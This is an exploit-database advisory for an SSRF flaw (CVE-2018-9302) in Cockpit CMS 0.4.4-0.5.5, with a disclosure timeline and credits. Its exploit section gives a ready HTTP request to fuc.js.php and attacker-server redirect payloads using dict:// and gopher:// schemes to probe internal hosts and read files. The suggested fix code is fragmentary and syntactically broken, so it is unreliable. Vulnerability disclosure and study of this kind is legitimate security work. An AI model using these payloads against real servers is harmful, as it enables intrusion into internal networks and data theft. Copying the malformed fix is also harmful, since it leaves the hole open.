Cockpit CMS 0.4.4-0.5.5 - Server-Side Request Forgery

EDB-ID: 44567
Author: Qian Wu, Bo Wang, Jiawang Zhang
Published: 2018-05-02
CVE: CVE-2018-9302
Type: Webapps
Platform: PHP
Aliases: N/A
Advisory/Source: N/A
Tags: Server-Side Request Forgery (SSRF)
Vulnerable App: Download Vulnerable Application

Cockpit CMS repairs CVE-2017-14611, but it can be bypassed, SSRF still exist, affecting the Cockpit CMS 0.4.4-0.5.5 versions.I've been tested success of "Cockpit CMS" lastest version.

## Product Download: Cockpit (

## Vulnerability Type:SSRF(Server Side Request Forgery)

## Attack Type : Remote

## Vulnerability Description

You can edit a .php file on own server. The .php file's code example:

<?php Header("Location: dict://");?>

## Exploit

GET /assets/lib/fuc.js.php?url=http://myserver/redirect.php HTTP/1.1
Host: myserver
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8

Modify the redirect.php file on the attacker's server.example:
<?php Header("Location: gopher://");?>

If the curl function is available,then use gopher、tftp、http、https、dict、ldap、imap、pop3、smtp、telnet protocols method,if not then only use http、https、ftp protocol
scan prot,example: <?php Header("Location: dict://");?>

If the curl function is unavailable,this vulnerability trigger need allow_url_fopen option is enable in php.ini,allow_url_fopen option defualt is enable.

## Versions

Product: Cockpit CMS 0.4.4-0.5.5

## Impact

SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter.

## Fix Code

The fix code example:

$url = $_REQUEST['url'];
$content = null;
if (!filter_var($url, FILTER_VALIDATE_URL)) {

header('HTTP/1.0 400 Bad Request');

// allow only http requests
if (!preg_match('#^http(|s)\://#', $url)) {
header('HTTP/1.0 403 Forbidden');
preg_match('/https*:\/\/(.+)/', $url, $matches);
$host= count($matches) > 1 ? $matches[1] : '';
$ip = gethostbyname($host);
//check private ip

and modify the line 48 :

curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 0);

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References


### Timeline:

2018-04-03 Found Cockpit CMS vulnerability.

2018-04-04 Submit vulnerability information to developers.

2018-04-05 Submit CVE-ID request

2018-04-28 Vendor no response, Public vulnerability information,Please Fix it.

Related Posts